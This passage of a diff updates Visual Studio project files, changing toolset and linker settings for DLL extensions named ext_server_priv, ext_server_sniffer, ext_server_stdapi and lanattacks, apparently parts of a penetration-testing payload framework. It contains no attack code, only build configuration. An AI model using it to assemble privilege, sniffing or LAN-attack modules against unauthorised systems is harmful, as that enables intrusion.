|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -215,6 +215,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\lanattacks;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
@ -223,7 +224,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@ -245,6 +247,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\lanattacks;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
@ -253,7 +256,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@ -481,4 +485,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -44,45 +44,45 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -675,4 +675,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -43,49 +43,49 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -512,9 +512,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<Culture>0x0409</Culture>
|
||||
</ResourceCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>psapi.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<AdditionalDependencies>psapi.lib;odbc32.lib;odbccp32.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<ProgramDatabaseFile>.\Debug\ext_server_priv.pdb</ProgramDatabaseFile>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
@ -567,9 +568,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<Culture>0x0409</Culture>
|
||||
</ResourceCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>psapi.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<AdditionalDependencies>psapi.lib;odbc32.lib;odbccp32.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<ProgramDatabaseFile>.\Debug\ext_server_priv.pdb</ProgramDatabaseFile>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
@ -696,4 +698,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="r7_debug|Win32">
|
||||
<Configuration>r7_debug</Configuration>
|
||||
@ -21,32 +21,32 @@
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}</ProjectGuid>
|
||||
<RootNamespace>ext_server_sniffer</RootNamespace>
|
||||
<PssdkVersion>vc11</PssdkVersion>
|
||||
<PssdkVersion>vc12</PssdkVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -258,7 +258,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<MkTypLibCompatible>true</MkTypLibCompatible>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
<TypeLibraryName>.\Debug\ext_server_sniffer.tlb</TypeLibraryName>
|
||||
<TypeLibraryName>$(OutDir)\ext_server_sniffer.tlb</TypeLibraryName>
|
||||
<HeaderFileName>
|
||||
</HeaderFileName>
|
||||
</Midl>
|
||||
@ -285,8 +285,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</ResourceCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;pssdk_$(PssdkVersion)_mtd.lib;ws2_32.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<ProgramDatabaseFile>.\Debug\ext_server_sniffer.pdb</ProgramDatabaseFile>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
@ -341,4 +342,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
||||
|
@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@ -43,49 +43,49 @@
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
@ -156,9 +156,6 @@
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile>$(OutDir)\ext_server_stdapi.pch</PrecompiledHeaderOutputFile>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
@ -167,6 +164,7 @@
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -218,9 +216,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile>$(OutDir)\ext_server_stdapi.pch</PrecompiledHeaderOutputFile>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
@ -229,6 +224,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -278,15 +274,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile>$(OutDir)\ext_server_stdapi.pch</PrecompiledHeaderOutputFile>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -332,15 +326,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderOutputFile>$(OutDir)\ext_server_stdapi.pch</PrecompiledHeaderOutputFile>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
@ -388,9 +380,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
